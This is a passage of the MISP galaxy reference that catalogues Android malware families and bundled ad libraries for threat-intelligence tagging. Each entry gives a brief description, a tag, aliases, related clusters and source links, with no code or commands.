MISP Galaxy Clusters

MISP Galaxy Cluster

Introduction

The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.

MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten, replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the MISP galaxy.

Funding and Support

The MISP project is financially and resource supported by CIRCL Computer Incident Response Center Luxembourg .

circl.lu
Computer Incident
Response Center
LUXEMBOURG

A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as **Improving MISP as building blocks for next-generation information sharing**.

Co-financed by the European Union
Connecting Europe Facility

If you are interested to co-fund projects around MISP, feel free to get in touch with us.

MISP galaxy

Android

Android malware galaxy based on multiple open sources..

Android is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

CopyCat

CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.

The tag is: *misp-galaxy:android="CopyCat"*

Table 1. Table References

Links
https://blog.checkpoint.com/2017/07/06/how-the-copycat-malware-infected-android-devices-around-the-world/

Andr/Dropr-FH

Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.

The tag is: *misp-galaxy:android="Andr/Dropr-FH"*

Andr/Dropr-FH is also known as:

- GhostCtrl

Andr/Dropr-FH has relationships with:

- similar: misp-galaxy:malpedia="GhostCtrl" with estimative-language:likelihood-probability="likely"

Table 2. Table References

Links
https://nakedsecurity.sophos.com/2017/07/21/watch-out-for-the-android-malware-that-snoops-on-your-phone/

https://www.neowin.net/news/the-ghostctrl-android-malware-can-silently-record-your-audio-and-steal-sensitive-data

Judy

The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.

The tag is: *misp-galaxy:android="Judy"*

Table 3. Table References

Links
http://fortune.com/2017/05/28/android-malware-judy/
https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/

RedAlert2

The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user's credentials and sends them to its C&C server.

The tag is: *misp-galaxy:android="RedAlert2"*

RedAlert2 has relationships with:

- similar: misp-galaxy:malpedia="RedAlert2" with estimative-language:likelihood-probability="likely"

Table 4. Table References

Links
https://www.bleepingcomputer.com/news/security/researchers-discover-new-android-banking-trojan/
https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html

Tizi

Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.

The tag is: *misp-galaxy:android="Tizi"*

Table 5. Table References

Links
https://security.googleblog.com/2017/11/tizi-detecting-and-blocking-socially.html

DoubleLocker

DoubleLocker can change the device’s PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.

The tag is: *misp-galaxy:android="DoubleLocker"*

DoubleLocker has relationships with:

- similar: misp-galaxy:malpedia="DoubleLocker" with estimative-language:likelihood-probability="likely"

Table 6. Table References

Links
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/

Svpeng

Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.

The tag is: *misp-galaxy:android="Svpeng"*

Svpeng is also known as:

- Invisble Man

Svpeng has relationships with:

- similar: misp-galaxy:tool="Svpeng" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"

Table 7. Table References

Links
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/
https://www.theregister.co.uk/2017/08/02/banking_android_malware_in_uk/

LokiBot

LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.

The tag is: *misp-galaxy:android="LokiBot"*

LokiBot has relationships with:

- similar: misp-galaxy:malpedia="Loki Password Stealer (PWS)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="LokiBot" with estimative-language:likelihood-probability="likely"

Table 8. Table References

Links
https://clientsidedetection.com/lokibot *_the_first_hybrid_android_malware.html[https://clientsidedetection.com/ lokibot*_the_first_hybrid_android_malware.html]

BankBot

The main goal of this malware is to steal banking credentials from the victim’s device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.

The tag is: *misp-galaxy:android="BankBot"*

BankBot has relationships with:

- similar: misp-galaxy:malpedia="BankBot" with estimative-language:likelihood-probability="likely"

Table 9. Table References

Links
https://blog.fortinet.com/2017/09/19/a-look-into-the-new-strain-of-bankbot
https://forensics.spreitzenbarth.de/android-malware/
https://blog.avast.com/mobile-banking-trojan-sneaks-into-google-play-targeting-wells-fargo-chase-and-citibank-customers

Viking Horde

In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.

The tag is: *misp-galaxy:android="Viking Horde"*

Table 10. Table References

Links
http://www.alwayson-network.com/worst-types-android-malware-2016/

HummingBad

A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.

The tag is: *misp-galaxy:android="HummingBad"*

HummingBad has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="HummingBad - MOB-S0038" with estimative-language:likelihood-probability="likely"

Table 11. Table References

Links
http://www.alwayson-network.com/worst-types-android-malware-2016/
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf

Ackposts

Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.

The tag is: *misp-galaxy:android="Ackposts"*

Table 12. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99

Wirex

Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.

The tag is: *misp-galaxy:android="Wirex"*

Table 13. Table References

Links
https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/
http://www.zdnet.com/article/wirex-ddos-malware-given-udp-flood-capabilities/

WannaLocker

WannaLocker is a strain of ransomware for Android devices that encrypts files on the device’s external storage and demands a payment to decrypt them.

The tag is: *misp-galaxy:android="WannaLocker"*

Table 14. Table References

Links
https://fossbytes.com/wannalocker-ransomware-wannacry-android/

Switcher

Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router’s admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.

The tag is: *misp-galaxy:android="Switcher"*

Switcher has relationships with:

- similar: misp-galaxy:malpedia="Switcher" with estimative-language:likelihood-probability="likely"

Table 15. Table References

Links
http://www.zdnet.com/article/this-android-infecting-trojan-malware-uses-your-phone-to-attack-your-router/
https://www.theregister.co.uk/2017/01/03/android_trojan_targets_routers/
https://www.symantec.com/security_response/writeup.jsp?docid=2017-090410-0547-99

Vibleaker

Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user’s phone for the Viber app, and then steal photos and videos recorded or sent through the app.

The tag is: *misp-galaxy:android="Vibleaker"*

Table 16. Table References

Links
http://news.softpedia.com/news/malicious-android-app-steals-viber-photos-and-videos-505758.shtml

ExpensiveWall

ExpensiveWall is Android malware that sends fraudulent premium SMS messages and charges users accounts for fake services without their knowledge

The tag is: *misp-galaxy:android="ExpensiveWall"*

Table 17. Table References

Links
https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/
http://fortune.com/2017/09/14/google-play-android-malware/

Cepsohord

Cepsohord is a Trojan horse for Android devices that uses compromised devices to commit click fraud, modify DNS settings, randomly delete essential files, and download additional malware such as ransomware.

The tag is: *misp-galaxy:android="Cepsohord"*

Table 18. Table References

Links
https://www.cyber.nj.gov/threat-profiles/android-malware-variants/cepsohord

Fakem Rat

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: *misp-galaxy:android="Fakem Rat"*

Table 19. Table References

Links
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99

GM Bot

GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.

The tag is: *misp-galaxy:android="GM Bot"*

GM Bot is also known as:

- Acecard
- SlemBunk
- Bankosy

GM Bot has relationships with:

- similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 20. Table References

Links
https://blog.avast.com/android-trojan-gm-bot-is-evolving-and-targeting-more-than-50-banks-worldwide

Moplus

The Wormhole vulnerability in the Moplus SDK could be exploited by hackers to open an unsecured and unauthenticated HTTP server connection on the user's device, and this connection is established in the background without the user's knowledge.

The tag is: *misp-galaxy:android="Moplus"*

Table 21. Table References

Links
http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html

Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.

The tag is: *misp-galaxy:android="Adwind"*

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- Jsocket
- jRat
- Backdoor:Java/Adwind

Adwind has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 22. Table References

Links
https://securelist.com/adwind-faq/73660/

AdSms

Adsms is a Trojan horse that may send SMS messages from Android devices.

The tag is: *misp-galaxy:android="AdSms"*

Table 23. Table References

Links
https://www.fortiguard.com/encyclopedia/virus/7389670
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051313-4039-99

Airpush

Airpush is a very aggresive Ad - Network

The tag is: *misp-galaxy:android="Airpush"*

Airpush is also known as:

- StopSMS

Table 24. Table References

Links

https://crypto.stanford.edu/cs155old/cs155-spring16/lectures/18-mobile-malware.pdf

BeanBot

BeanBot forwards device's data to a remote server and sends out premium-rate SMS messages from the infected device.

The tag is: *misp-galaxy:android="BeanBot"*

Table 25. Table References

Links
https://www.f-secure.com/v-descs/trojan_android_beanbot.shtml

Kemoge

Kemoge is adware that disguises itself as popular apps via repackaging, then allows for a complete takeover of the users Android device.

The tag is: *misp-galaxy:android="Kemoge"*

Kemoge has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="Shedun - MOB-S0010" with estimative-language:likelihood-probability="likely"

Table 26. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/10/kemoge_another_mobi.html
https://www.symantec.com/security_response/writeup.jsp?docid=2015-101207-3555-99

Ghost Push

Ghost Push is a family of malware that infects the Android OS by automatically gaining root access, downloading malicious software, masquerading as a system app, and then losing root access, which then makes it virtually impossible to remove the infection even by factory reset unless the firmware is reflashed.

The tag is: *misp-galaxy:android="Ghost Push"*

Table 27. Table References

Links
https://en.wikipedia.org/wiki/Ghost_Push
https://blog.avast.com/how-to-protect-your-android-device-from-ghost-push

BeNews

The BeNews app is a backdoor app that uses the name of defunct news site BeNews to appear legitimate. After installation it bypasses restrictions and downloads additional threats to the compromised device.

The tag is: *misp-galaxy:android="BeNews"*

Table 28. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/fake-news-app-in-hacking-team-dump-designed-to-bypass-google-play/

Accstealer

Accstealer is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Accstealer"*

Table 29. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012711-1159-99

Acnetdoor

Acnetdoor is a detection for Trojan horses on the Android platform that open a back door on the compromised device.

The tag is: *misp-galaxy:android="Acnetdoor"*

Table 30. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051611-4258-99

Acnetsteal

Acnetsteal is a detection for Trojan horses on the Android platform that steal information from the compromised device.

The tag is: *misp-galaxy:android="Acnetsteal"*

Table 31. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051612-0505-99

Actech

Actech is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Actech"*

Table 32. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080111-3948-99

AdChina

AdChina is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdChina"*

Table 33. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-2947-99

Adfonic

Adfonic is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adfonic"*

Table 34. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052615-0024-99

AdInfo

AdInfo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdInfo"*

Table 35. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2433-99

Adknowledge

Adknowledge is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adknowledge"*

Table 36. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-1033-99

AdMarvel

AdMarvel is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdMarvel"*

Table 37. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-2450-99

AdMob

AdMob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdMob"*

Table 38. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-3437-99

Adrd

Adrd is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Adrd"*

Table 39. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-021514-4954-99

Aduru

Aduru is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Aduru"*

Table 40. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-2419-99

Adwhirl

Adwhirl is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adwhirl"*

Table 41. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1414-99

Adwlauncher

Adwlauncher is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Adwlauncher"*

Table 42. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082308-1823-99

Adwo

Adwo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adwo"*

Table 43. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-5806-99

Airad

Airad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Airad"*

Table 44. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-1704-99

Alienspy

Alienspy is a Trojan horse for Android devices that steals information from the compromised device. It may also download potentially malicious files.

The tag is: *misp-galaxy:android="Alienspy"*

Table 45. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-042714-5942-99

AmazonAds

AmazonAds is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AmazonAds"*

Table 46. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-5002-99

Answerbot

Answerbot is a Trojan horse that opens a back door on Android devices.

The tag is: *misp-galaxy:android="Answerbot"*

Table 47. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-100711-2129-99

Antammi

Antammi is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Antammi"*

Table 48. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032106-5211-99

Apkmore

Apkmore is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Apkmore"*

Table 49. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-4813-99

Aplog

Aplog is a Trojan horse for Android devices that steals information from the device.

The tag is: *misp-galaxy:android="Aplog"*

Table 50. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100911-1023-99

Appenda

Appenda is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Appenda"*

Table 51. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062812-0516-99

Apperhand

Apperhand is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Apperhand"*

Table 52. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5637-99

Appleservice

Appleservice is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: *misp-galaxy:android="Appleservice"*

Table 53. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031011-4321-99

AppLovin

AppLovin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AppLovin"*

Table 54. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-1739-99

Arspam

Arspam is a Trojan horse for Android devices that sends spam SMS messages to contacts on the compromised device.

The tag is: *misp-galaxy:android="Arspam"*

Table 55. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121915-3251-99

Aurecord

Aurecord is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Aurecord"*

Table 56. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-2310-99

Backapp

Backapp is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Backapp"*

Table 57. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092708-5017-99

Backdexer

Backdexer is a Trojan horse for Android devices that may send premium-rate SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Backdexer"*

Table 58. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121812-2502-99

Backflash

Backflash is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Backflash"*

Table 59. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091714-0427-99

Backscript

Backscript is a Trojan horse for Android devices that downloads files onto the compromised device.

The tag is: *misp-galaxy:android="Backscript"*

Table 60. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090704-3639-99

Badaccents

Badaccents is a Trojan horse for Android devices that may download apps on the compromised device.

The tag is: *misp-galaxy:android="Badaccents"*

Table 61. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-123015-3618-99

Badpush

Badpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Badpush"*

Table 62. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-4133-99

Ballonpop

Ballonpop is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Ballonpop"*

Table 63. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120911-1731-99

Bankosy

Bankosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Bankosy"*

Bankosy has relationships with:

- similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 64. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072316-5249-99

Bankun

Bankun is a Trojan horse for Android devices that replaces certain banking applications on the compromised device.

The tag is: *misp-galaxy:android="Bankun"*

Table 65. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072318-4143-99

Basebridge

Basebridge is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: *misp-galaxy:android="Basebridge"*

Table 66. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060915-4938-99

Basedao

Basedao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Basedao"*

Table 67. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061715-3303-99

Batterydoctor

Batterydoctor is Trojan that makes exaggerated claims about the device's ability to recharge the battery, as well as steal information.

The tag is: *misp-galaxy:android="Batterydoctor"*

Table 68. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101916-0847-99

Beaglespy

Beaglespy is an Android mobile detection for the Beagle spyware program as well as its associated client application.

The tag is: *misp-galaxy:android="Beaglespy"*

Table 69. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091010-0627-99

Becuro

Becuro is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: *misp-galaxy:android="Becuro"*

Table 70. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051410-3348-99

Beita

Beita is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Beita"*

Table 71. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-110111-1829-99

Bgserv

Bgserv is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: *misp-galaxy:android="Bgserv"*

Table 72. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-031005-2918-99

Biigespy

Biigespy is an Android mobile detection for the Biige spyware program as well as its associated client application.

The tag is: *misp-galaxy:android="Biigespy"*

Table 73. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091012-0526-99

Bmaster

Bmaster is a Trojan horse on the Android platform that opens a back door, downloads files and steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Bmaster"*

Table 74. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-020609-3003-99

Bossefiv

Bossefiv is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android="Bossefiv"*

Table 75. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-061520-4322-99

Boxpush

Boxpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Boxpush"*

Table 76. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-4613-99

Burstly

Burstly is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Burstly"*

Table 77. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1443-99

Buzzcity

Buzzcity is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Buzzcity"*

Table 78. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1454-99

ByPush

ByPush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="ByPush"*

Table 79. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4708-99

Cajino

Cajino is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Cajino"*

Table 80. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-040210-3746-99

Casee

Casee is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Casee"*

Table 81. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3501-99

Catchtoken

Catchtoken is a Trojan horse for Android devices that intercepts SMS messages and opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Catchtoken"*

Table 82. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121619-0548-99

Cauly

Cauly is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Cauly"*

Table 83. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3454-99

Cellshark

Cellshark is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.

The tag is: *misp-galaxy:android="Cellshark"*

Table 84. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111611-0914-99

Centero

Centero is a Trojan horse for Android devices that displays advertisements on the compromised device.

The tag is: *misp-galaxy:android="Centero"*

Table 85. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-053006-2502-99

Chuli

Chuli is a Trojan horse for Android devices that opens a back door and may steal information from the compromised device.

The tag is: *misp-galaxy:android="Chuli"*

Table 86. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032617-1604-99

Citmo

Citmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Citmo"*

Table 87. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-5012-99

Claco

Claco is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Claco"*

Table 88. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-020415-5600-99

Clevernet

Clevernet is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Clevernet"*

Table 89. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-5257-99

Cnappbox

Cnappbox is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Cnappbox"*

Table 90. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-1141-99

Cobblerone

Cobblerone is a spyware application for Android devices that can track the phone's location and remotely erase the device.

The tag is: *misp-galaxy:android="Cobblerone"*

Table 91. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111514-3846-99

Coolpaperleak

Coolpaperleak is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Coolpaperleak"*

Table 92. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080211-5757-99

Coolreaper

Coolreaper is a Trojan horse for Android devices that opens a back door on the compromised device. It may also steal information and download potentially malicious files.

The tag is: *misp-galaxy:android="Coolreaper"*

Table 93. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-011220-3211-99

Cosha

Cosha is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Cosha"*

Table 94. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081712-5231-99

Counterclank

Counterclank is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android="Counterclank"*

Table 95. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-4046-99

Crazymedia

Crazymedia is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Crazymedia"*

Table 96. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-2547-99

Crisis

Crisis is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Crisis"*

Crisis has relationships with:

- similar: misp-galaxy:malpedia="Crisis" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RCS" with estimative-language:likelihood-probability="likely"

Table 97. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-071409-0636-99

Crusewind

Crusewind is a Trojan horse for Android devices that sends SMS messages to a premium-rate number.

The tag is: *misp-galaxy:android="Crusewind"*

Table 98. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070301-5702-99

Dandro

Dandro is a Trojan horse for Android devices that allows a remote attacker to gain control over the device and steal information from it.

The tag is: *misp-galaxy:android="Dandro"*

Table 99. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2013-012916-2128-99

Daoyoudao

Daoyoudao is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Daoyoudao"*

Table 100. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040214-5018-99

Deathring

Deathring is a Trojan horse for Android devices that may perform malicious activities on the compromised device.

The tag is: *misp-galaxy:android="Deathring"*

Table 101. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121116-4547-99

Deeveemap

Deeveemap is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: *misp-galaxy:android="Deeveemap"*

Table 102. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-060907-5221-99

Dendoroid

Dendoroid is a Trojan horse for Android devices that opens a back door, steals information, and may perform other malicious activities on the compromised device.

The tag is: *misp-galaxy:android="Dendoroid"*

Table 103. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030418-2633-99

Dengaru

